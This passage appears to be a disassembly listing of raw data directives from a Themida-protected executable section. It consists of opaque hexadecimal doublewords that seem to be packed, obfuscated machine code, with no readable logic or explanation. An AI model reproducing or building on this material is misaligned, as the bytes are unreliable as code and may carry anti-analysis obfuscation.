150CE585h, 698D2106h dd 29061511h, 1506D99Dh, 9D8D8B06h, 0B4061507h, 1E183C4h dd 34850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 50D814C3h, 0FE8h db 0 byte_5BCFA1 db 2, 0F4h, 0B2h ; DATA XREF: Themida_:0057B204o dd 3758B9C9h, 217F3ED7h, 0B069FEB3h, 8D8B5E5Fh, 6151169h dd 17D5BD31h, 0E1830615h, 31850F01h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B4DEC352h, 89BA1337h, 15172D95h, 0E4A6BF06h, 0BD8B192Ch dd 6152F0Dh, 6A6061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 891A74C3h, 150211B5h, 0FFFEB906h dd 0F681FFFFh, 10C58671h, 15E58D21h, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 793D40C3h dd 6E99Ch, 5E1C0000h, 4760EE82h, 28718D21h, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9B9456C3h, 891AA09Ah, 1528F58Dh, 0E58D8B06h, 8B061515h dd 1501A995h, 1E18306h, 25850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 7DB97C3h dd 0CDC0F715h, 8BFDBB11h, 1528718Dh, 83D18B06h, 850F01E1h dd 3, 61D3BF0Fh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0C1E96FA0h, 0F4809C3Bh dd 0AD85C73Bh, 0D0061508h, 6A000007h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0FC9C357h dd 17BF15DFh, 8B17C280h, 6A61C8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0E4ADB9C3h, 9D6107EBh dd 0E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 762D75FEh, 0BBB57C8h, 6A3B0Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0B9001DC3h, 0D5A73991h, 25BE6641h, 60C18BC4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F8C35242h, 0BEDBD0BFh dd 8BCCA76Ah, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 90490A8Dh, 83B5179Ah, 1508F5BDh dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 438B8C0h dd 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh dd 61503ADh, 50177400h, 438B853h, 85890000h, 6151385h dd 0A78D9D8Dh, 0D3FF0617h, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0F4C767C3h dd 89ADE4A1h, 152E99BDh, 259D0106h, 8B06150Ch, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 85011F2Ah, 6152F9Dh, 1949BD8Bh, 5E80615h, 89000009h dd 15178595h, 45858906h, 6A06151Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F5DC352h dd 0BD8BF1B7h, 615346Dh, 8CFE8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B3403FBh dd 5CD33392h, 5820F88h, 0B9000000h, 737F6F80h, 89FFB70Fh dd 152F5985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8D89C822h, 61524CDh, 86FE8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 17526C7Fh, 2E58D29h, 85890615h, 6152E0Dh, 2A8DBD29h dd 39E80615h, 29000008h, 151E6D95h, 95858906h, 29061505h dd 15249185h, 822E806h, 0CE90000h, 9A000000h, 8C5858C4h dd 0DAC3D308h, 8958F6DFh, 152D1985h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1709120Eh dd 7E6E8FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 344D4CC3h, 278B586Dh, 10E985D6h dd 0F2000000h, 0B30BA3BEh, 0EF6CCAC8h, 7A780AF2h, 89A72B5Bh dd 1510F185h, 0ED8D8906h, 0E8061500h, 79Ch, 0C76AB953h dd 895E11C6h, 1533ED85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0A8587421h, 0C1B9D08Dh dd 0A3D781EBh, 0E85830F7h, 760h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0ABC35141h, 7BBE66B9h, 118D8B34h dd 89061508h, 1502B585h, 0BE806h, 1CC60000h, 2B76CEE5h dd 60DBE2F0h, 0F19D89AAh, 59061517h, 717E8h, 0AE900h, 42B30000h dd 0B4D4404Ah, 987D16E5h, 23E18589h, 6A0615h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 66500FC3h dd 5EFCA7BEh, 6DBE8h, 13E900h, 0B2770000h, 3B6BC8DAh, 2D33948Eh dd 0D201E894h, 6AEB93C8h, 218589C2h, 8B061529h, 1501A9BDh dd 6B2E806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 2939A7C3h, 152A9985h, 39858906h dd 6A061523h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 3733C350h, 51640F48h, 8B1D9115h dd 152B35BDh, 65AE806h, 0BD8B0000h, 6151165h, 33758589h dd 8D8B0615h, 6152565h, 643E8h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 3E73082Ch dd 0CB56F263h, 6650DAD2h, 895FF78Bh, 15000985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0BE740B3h, 0EE83387h, 95000000h, 840D57CAh, 23973122h dd 0C287A43Ch, 0FABF0F24h, 5D6E85Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 3EFD42C3h dd 0E960CCC5h, 7, 0EC4FB834h, 518C07CCh, 0B58B6159h, 6150DC9h dd 2CBD8589h, 0DE80615h, 67000000h, 48D63052h, 8EB1E864h dd 414DD3F2h, 27E9B533h, 0E85E0615h, 57Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h, 76EC99B1h dd 0F3B70F49h, 2A498589h, 830F0615h, 5, 9253A2BEh, 542E815h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 296EDBC3h, 0F5931228h, 8589D2B1h, 61533A9h dd 810FF560h, 5, 72C231BEh, 0B06178h, 0FCB8B66h, 0B58BD8B6h dd 61514F1h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 27192C24h, 0A37C97C4h dd 18D0F41h, 0F5000000h, 8D89C38Bh, 6150E09h, 6A04E8C1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0DB06C350h, 710FFBC4h, 0E2F766F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0F6C35242h, 0BC66E304h dd 11E948h, 0CBB30000h, 86BD9D59h, 2BB5C5F1h, 79305B69h dd 2B5F2549h, 83EF81D8h, 5052C304h, 6E95360h, 0F9000000h dd 22BB1079h, 1FB85BCEh, 617CF77Ah, 89241C89h, 15091D9Dh dd 0A195FF06h, 6A061518h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 2060C353h, 1D987E5Eh dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BD8B3DBBh dd 6151411h, 64602FB9h, 6A5B11h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C7F997C3h dd 50600126h, 8DA63B03h, 1527D995h, 65958906h, 89061509h dd 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 49DF13CAh, 6D289A93h, 0F1CB8160h, 8A3AEA3Ah dd 428961CEh, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0BF2C42B5h, 8BA8F3E4h, 15286DBDh dd 9D858906h, 8D061506h, 151D9195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6A71C75Ah dd 0F363440h, 58Ch, 0EF816600h, 1A89A7FBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 66C35646h, 11E9h dd 47EC7800h, 0B3A19DF5h, 55F49B7Eh, 5750146Fh, 42897353h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0A23BBF49h, 9589671Dh, 61507D9h, 278D958Dh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 11B302C3h, 0EFB47661h, 0F88B666Ah, 6A1A89h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 96E06EC3h, 0BF48190h, 89F81AD2h, 6A0442h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 89C339C3h dd 151359BDh, 45952906h, 8D06152Bh, 1519D195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 755FCDEEh, 8C0Fh, 1A890000h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 5DC35747h, 6EB1C880h, 89CBBF0Fh dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 135C2CC3h, 7AF74F49h, 9D958D30h, 6A061505h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A78DC351h, 4586C9E9h, 1A89BD92h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A8C35646h, 847119BEh dd 668E8C96h, 89B6A4BFh, 6A0442h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 3151ADC3h, 1505DDBDh dd 958D5E06h, 6152C69h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0EAC35040h, 0BD1DF00Ch, 0F31FC306h, 6A1A89FCh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 19E9C355h, 4659C27Ah, 1DD1B501h, 42890615h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8F0FC85Bh, 6, 379BD09h, 958D0615h, 61519C1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 66C35343h dd 8932F55Ah, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 13135E8Fh, 0CA8BA676h, 6A044289h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0C216C352h, 0FC7A05Dh, 80h, 8D958D00h, 6A06150Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 20E7C353h, 0AC1AFCDFh, 6890Fh, 8D890000h dd 6151119h, 8C0F1A89h, 6, 6999509h, 42890615h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0AC79ADACh, 1871456Fh, 8D03B864h, 6152E15h, 0BBE9h dd 0F1BF0F00h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 6AA8C3h, 115D8D8Bh, 6A0615h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 46C35646h, 0C1BD0198h dd 6A061522h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0FF8C5C77h, 15339D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A640EC23h, 0B96617AAh, 6AC3D392h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6694C353h dd 3DB5DF6Fh, 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 950131C3h, 615284Dh, 84C78166h dd 6AC08BA5h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4B4FC356h, 0A6DBE94h, 0F681AC29h dd 660188FBh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h dd 53501974h, 38B8C08Bh, 89000004h, 1502A185h, 59D8D06h dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 38B85350h dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 979C356h, 0F88C04Ch, 587h, 0E9816600h, 820F2282h dd 15h, 10E9h, 792F3F00h, 8BE9A93Eh, 0C345F106h, 74AF2D24h dd 8DC08B3Eh, 15279D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0EDE4E18Dh, 431E84B9h dd 0BB57A1B7h, 70A8632Fh, 0DF8B505Bh, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E521C357h, 4999D89h, 6A0615h, 209D9D8Bh, 6A0615h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 0F6FD4A91h dd 1185892Eh, 8D061510h, 1944B485h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8B6679E9h dd 0A1BD23DEh, 83061519h, 11E805C0h, 6D000000h, 63A8FE90h dd 370EFAB4h, 54C5163Dh, 8E257A9h, 0EAA0BF66h, 6057505Bh dd 310F5250h, 0C18B585Ah, 4895F61h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 5A86B4DFh dd 0CCFECC15h, 8B006A99h, 1500E19Dh, 8B006A06h, 1519D99Dh dd 7995FF06h, 0E9061526h, 11h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh dd 7766EC69h, 158D8D8Ah, 8B06189Ch, 57D1FFFAh, 8758589h dd 835F0615h, 152DB5BDh, 850F0106h, 5Bh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 9A0A4486h dd 9D8B5519h, 615343Dh, 179DBD8Bh, 26A0615h, 10E9h, 6D82D700h dd 256A44E6h, 5EDB8F2h, 4904846Fh, 8B6650DAh, 240489DEh dd 0FFDF8B66h, 151D4D95h, 95858906h, 0E9061507h, 0E8Eh dd 0E8h, 0ED815D00h, 61944BEh, 66DFB660h, 2192E081h, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0F5E6BC84h, 440AB6F6h, 88F9858Dh, 6A0618h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 6E0861C3h dd 0F5BAD0F8h, 0FB8B6690h, 13890F50h, 0E9000000h, 0Eh dd 0F8EB093Eh, 7175EAA7h, 5D79DCA8h, 6A902B25h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0D397C350h, 0CC37C740h, 32D8B560h, 3BD3DF81h, 64FC38BDh dd 35FFh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8166C9C3h dd 648467C7h, 2589h, 85890000h, 6150591h, 0D3F9F781h, 85FF1C2Bh dd 6151535h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0A7C35141h, 6A7302A3h, 0F1BB66FFh, 5D5BBB77h, 0B5FF5D4Fh dd 6151D45h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 28C35242h, 37F18811h, 3C8C0C46h, 5BD2351h, 5F061510h dd 8BD95FFh, 11E90615h, 81000001h, 13AD0FEFh, 0B0FC12h dd 0E6F9BF0Fh, 0DBBF0F70h, 8B6671E4h, 0F613CFBh, 0F383h dd 5E900h, 0E8D60000h, 0FC27463h, 9D0BC8B6h, 6151D19h dd 6BAh, 8589FC00h, 6150461h, 9589C18Bh, 61510C9h, 8904E8C1h dd 150A85BDh, 0E2F76606h, 9E9h, 0E9DBF100h, 0A12009E5h dd 0C82B4F58h, 0DB9BD89h, 0D18B0615h, 0DE9h, 0C327AE00h dd 76D0E4CEh, 7E233955h, 6E9DD8Bh, 1000000h, 1522F185h dd 0D9858B06h, 0F061527h, 682h, 0D18D8900h, 0E9061526h dd 0Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h, 83B439ECh, 0FB8B07C0h dd 8100C083h, 166B65C3h, 0FD03B59h, 1183h, 819D8B00h, 0E9061528h dd 44h, 3445BD8Bh, 8D8B0615h, 615079Dh, 33F99D89h, 0E1830615h dd 29840F01h, 0E9000000h, 0Ah, 0EA474BC0h, 0F5162D95h dd 0A58335A6h, 615079Dh, 89FA8AFEh, 1527D995h, 85B50906h dd 0E9061503h, 0 dd 0D834B58Dh, 0BD090618h, 6153415h, 820F006Ah, 6, 10FDBD8Bh dd 95FF0615h, 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 49C35141h, 3DDC8C2Ch, 554D1FFDh, 0BA733DBFh dd 0AD8D290Eh, 0B9061527h, 7AAh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 16C35545h, 0F98412CBh, 640941A6h dd 0F59D8BDBh, 0F061510h, 58Ch, 0FAF8BB00h, 0E1830C3Ch dd 0CE9FCh, 1A8F0000h, 3495DB3Dh, 2D523235h, 0E8FCB15Dh dd 12h, 246D881Dh, 9B3656A7h, 39D6530Ch, 0E9C68DEEh, 9D8BE1FAh dd 6151555h, 89C02B5Fh, 151A559Dh, 6AD22B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0E78AC357h, 0B24655B5h, 0F8E33EF3h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 24C35545h, 74C13858h, 9D8B0FB8h, 6152235h, 7BB5BF66h dd 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 958B4CB9h, 6152721h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h, 4356BAD4h dd 9CCEAB7Eh, 8F0Fh, 8D8B0000h, 61504CDh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h, 0D5BB66F8h dd 0C28B50F1h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 80DCC357h, 6A3EE3h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0B3928BC3h, 0C7A169A1h dd 5850F5Eh, 66000000h, 538AEB81h, 2F49BD01h, 860F0615h dd 10h, 0BE9h, 1714C400h, 15FF9BFh, 0C4C6BE9Fh, 18A9BD83h dd 0F000615h, 9084h, 799D8B00h, 0B806150Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 53C35343h dd 816609FEh, 8B6B8DEFh, 0F78166DFh, 8D8DA81Bh, 6154F9Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DC35747h dd 57922707h, 6800Fh, 9D890000h, 6152725h, 0A819589h, 0E1FF0615h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A1C35545h dd 8B6698C8h, 15BD83D9h, 61511h, 51C840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0B07F47C3h, 19E744Fh, 0BD838CA8h, 6151115h, 6840F01h dd 6A000005h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BD8C357h, 1526859Dh, 15BD8306h dd 3061511h, 4A1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0D9E698C3h, 699D011Ch dd 0E8061527h, 6, 4790AC6Ch, 0BF0F2A99h, 0E9605BD8h, 9 dd 3BC7B42Eh, 5EB7F26Ah, 0D98C664Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 6DC35141h, 0AD950975h, 80061510h dd 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0C90A8CC3h, 1AD840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0A28F1C3h dd 0E9304086h, 0Ch, 5335B7EFh, 32F05B29h, 0E2441EDFh, 249D858Bh dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 907979C3h, 68D0Fh, 0F7810000h, 5C3D8D46h dd 19B58533h, 8E90615h, 0F000000h, 37AD0A09h, 50908792h dd 89F98B66h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 3DE782C3h, 0F1DB99C6h, 31D1CD00h dd 1500359Dh, 0DE806h, 0FE0C0000h, 0EFA4240Ch, 7980345Ah dd 666A9079h, 5F6B85BFh, 2F05BD8Bh, 6A0615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 67C35545h, 2F219D8Bh dd 0FCB70615h, 22187368h, 0FA8B66C6h, 8C240481h, 6A39FCEBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 84F9C353h, 0E44508DEh, 6690B3C1h, 3827CB81h dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 42A540C3h, 998589BCh, 6A0618BFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0BDBC356h, 47E922EBh, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 800BC356h, 76532CB6h, 0FE9E6h, 0F9460000h, 0D1A3FC0h dd 8A07EA89h, 73E43F8Ah, 8D95295Ah, 8B06150Ah, 18BF9185h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0C7A43Bh, 18h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 70C35141h, 0C04C0979h, 0B58BD688h dd 618BF95h, 0A319D8Bh, 858B0615h, 6150C45h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1EC35747h, 274B6002h dd 7D9D8B16h, 8906152Dh, 0D1BD8906h, 8B061522h, 15249D85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 9DE1649Fh, 46890A75h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D8973E4h dd 6152FD9h, 2D999D2Bh, 60960615h, 972C1BB8h, 2800F45h dd 50000000h, 6650615Eh, 964BE3BFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 58C35242h, 60DFB70Fh, 9E3DBE66h dd 188DB58Bh, 0FF610615h, 18BF91B5h, 4E806h, 3FF0000h dd 8A0F001Fh, 0Ah, 48E0Fh, 0BF660000h, 0BB502CE6h, 7310281Ah dd 424448Bh, 8BD88B66h, 0F98B6600h, 4244489h, 2EB35250h dd 5352310Fh, 585A5F5Bh, 66606058h, 9785C981h, 23519D89h dd 0BF610615h, 0CD4838Bh, 99858D61h, 6A0618BFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0F05C350h, 683h, 71BD3300h, 50061504h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3625C353h, 0F9E59928h, 0F4E19E5h, 680h, 5DBD8B00h, 66061507h dd 20C6EF81h, 0DAD95FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 430B93C3h, 0C9FDEF9Dh dd 0E19BD2Bh, 0F610615h, 683h, 31CB8100h, 0C77893CEh, 15111585h dd 306h, 1D9D8B00h, 83061529h, 18BF99BDh, 840F0006h, 2Fh dd 870Fh, 3FE90000h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0FFB9C350h, 66FBA6C3h dd 507CCCBFh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9529C08Bh, 615344Dh, 28B99D8Bh, 10E90615h dd 2E000000h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh, 838D1CEEh dd 151115BDh, 850F0306h, 3B7h, 1D719D8Bh, 0BD830615h, 618BF99h dd 0A4840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 88B6C351h, 8BB06DFCh dd 1523999Dh, 99B5FF06h, 6A0618BFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7128C352h dd 0D4CF80E5h, 10E195FFh, 880F0615h, 12h, 6E8h, 7D2D7200h dd 0F538D7Dh, 8Fh, 0B58B5F00h, 618BF8Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h, 0ACBDD3A2h dd 0E9BAF0F3h, 0Fh, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh dd 0C72D0011h, 1000106h, 0F1BD0300h, 5006152Eh, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 87B1C357h, 4CB8EB49h, 0B5FF7741h, 618BF99h dd 2A65BD8Bh, 95FF0615h, 61506A1h, 958D31FCh, 8B06150Dh dd 18BF8DB5h, 0F59D8B06h, 8B061526h, 15005985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 9B0A272Fh, 6E83DE0h, 0E0000000h, 0CA7A51C3h, 13E9A6h dd 0DC90000h, 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh dd 86895F89h, 0C4h, 2146DB81h, 958B61D9h, 6152721h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C0C35343h, 0FC026216h dd 1EE3BC2Fh, 0DF07EF81h, 0C28306F2h, 9D896004h, 6150CA5h dd 0FAB70F61h, 0B3205089h, 58858D4Eh, 8B0618D4h, 0B88689FAh dd 0E9000000h, 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch dd 0FF4786ABh, 2D31B529h, 6A0615h, 8F0Fh, 0B5FF0000h, 618BF99h dd 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h, 6850F70h dd 3000000h, 150981BDh, 0A6F78006h, 1D4D95FFh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0C19852C3h, 26523554h, 33A25966h, 1513719Dh, 5096F906h dd 89D5BB66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 1115D122h, 8BDD4553h, 99B5FFFEh dd 0BF0618BFh, 4244F709h, 72995FFh, 0F3BB0615h, 83623C8Dh dd 150065BDh, 840F0006h, 5Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 9DC35343h, 576C929Ah, 0C381B54Fh dd 1C5C1F77h, 5E950h, 98F40000h, 891F49C3h, 0DE82434h dd 67000000h, 138C91A2h, 0B95CB2B9h, 99B80E75h, 10E9h dd 0B50EE800h, 0F1248726h, 0AB83019Bh, 534AC79Dh, 0B5FF5BF4h dd 618BF99h, 2DF8F781h, 95FF2DD0h, 6150439h, 37A3BF60h dd 9D0910F5h, 6150451h, 99B5FF61h, 6A0618BFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 993FC355h, 0C8C7CB2h, 2C718D01h, 95FF0615h, 6150DCDh dd 0DE8h, 11758A00h, 73B89833h, 63D9E7EEh, 5FFC6177h, 285DBD83h dd 0F020615h, 3C84h, 65850900h, 8B061518h, 15284985h, 0FB8B6606h dd 12E4F781h, 0C624C2h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 8D0F4B8Dh, 1, 0F585C7F5h dd 61523h, 8B000000h, 152B45BDh, 919D8B06h, 0E9061505h dd 0FFFFF2A7h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 55847C3h, 74BB662Ch, 0CF816606h db 1Bh, 47h 